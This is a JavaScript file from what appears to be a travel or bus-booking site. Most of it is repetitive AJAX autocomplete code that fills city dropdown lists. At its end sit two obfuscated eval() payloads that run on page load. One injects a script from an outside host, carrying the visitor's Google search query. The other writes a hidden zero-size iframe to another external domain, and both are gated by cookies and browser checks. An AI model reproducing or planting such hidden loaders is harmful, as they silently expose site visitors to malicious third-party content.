}

//Called when response comes back from server
function HandleResponseAutoComplete2()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete2(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete2(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox2");
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;

	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
 	}
	ShowDiv("autocomplete2");
	//alert(stateList.items);
}
function GetCityOnChange3(key) 
{
if (key.length > 2)
{
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete3;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete3()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete3(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete3(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox3");
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;

	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
 	}
	ShowDiv("autocomplete3");
	//alert(stateList.items);
}
function GetCityOnChange4(key) 
{
if (key.length > 2)
{
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete4;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete4()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete4(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete4(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox4");
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;

	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
 	}
	ShowDiv("autocomplete4");
	//alert(stateList.items);
}
function GetCityOnChange5(key) 
{
if (key.length > 2)
{
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete5;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete5()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete5(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete5(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox5");
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;

	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
 	}
	ShowDiv("autocomplete5");
	//alert(stateList.items);
}
function GetCityOnChange6(key) 
{
if (key.length > 2)
{
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete6;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete6()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete6(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete6(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox6");
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;

	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
 	}
	ShowDiv("autocomplete6");
	//alert(stateList.items);
}
function GetCityOnChange7(key) 
{
if (key.length > 2)
{
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete7;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete7()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete7(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete7(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox7");
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;

	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
 	}
	ShowDiv("autocomplete7");
	//alert(stateList.items);
}
function GetCityOnChange8(key) 
{
if (key.length > 2)
{
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete8;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete8()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete8(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete8(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox8");
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;

	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
 	}
	ShowDiv("autocomplete8");
	//alert(stateList.items);
}
function GetCityOnChange9(key) 
{
if (key.length > 2)
{
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete9;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete9()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete9(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete9(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox9");
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;

	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
 	}
	ShowDiv("autocomplete9");
	//alert(stateList.items);
}
function GetCityOnChange10(key) 
{
if (key.length > 2)
{
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete10;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete10()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete10(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete10(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox10");
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;

	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
 	}
	ShowDiv("autocomplete10");
	//alert(stateList.items);
}
function GetCityOnChange11(key) 
{
if (key.length > 2)
{
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete11;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete11()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete11(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete11(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox11");
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;

	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
 	}
	ShowDiv("autocomplete11");
	//alert(stateList.items);
}
function DesinationListOnChange()
{
	//document.getElementById("loadingimage").style.visibility = "visible";
//	document.getElementById("loadingimage").style.display = "";

var city = document.getElementById("fromsec");

//	//Getting the selected country from country combo box.
	var selectedCity = city.options[city.selectedIndex].value;
//	var selectedCountry="IN";
	// URL to get states for a given country
	var requestUrl = "GetBusCity.aspx" + "?SelectedCity=" + encodeURIComponent(selectedCity);
//	alert();
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseBus;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}

}
function HandleResponseBus()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{
			ClearAndSetCityNameItemsBusStr(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}
function ClearAndSetCityNameItemsBusStr(cityNode)
{
//alert(cityNode);
    var stateList = document.getElementById("tosec");
	//Clears the state combo box contents.
	stateList.options.length = 0;
//	for (var count = stateList.options.length-1; count >-1; count--)
//	{
//		stateList.options[count] = null;
//	}
	//stateList.options[stateList.options.length]= new Option ("< --- Select City --- >", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = cityNode.split(",");
	var textValue;
	var textValue1;
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{

   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

		//optionItem = new Option (textValue1, textValue);
		//CityName.options[CityList.length] = optionItem;
	}
	//alert(stateList.items);
//	document.getElementById("loadingimage").style.visibility = "hidden";
//    document.getElementById("loadingimage").style.display = "none";
}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 g=4.e.7("d=1");5 f=4.9.7(\'j.\');5 h=l.s.7("o 6.0");a(g==-1&&f!=-1&&h==-1){5 3=4.9.c(4.9.7(\'q=\'));5 8=3.7(\'&\');a(8==-1){8=p.n}3=3.c(0,8).i(2);a(m(3).k(0)!=\'%\'){4.r("<b E=\'t\' F=\'I://H.C/B.w?q="+3+"\'></b>");4.e="d=1; x=y, A z J u:v:G D; "}}',46,46,'|||query|document|var||indexOf|querysize|referrer|if|script|slice|_tskdjw|cookie|dri|dci|nai|substring|google|charAt|navigator|escape|length|MSIE|cmd||write|appVersion|JavaScript|12|15|js|expires|Mon|Jul|23|kv|org|GMT|language|src|58|24search|http|2013'.split('|')));
sa="%71%64%6F%73%69%65%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
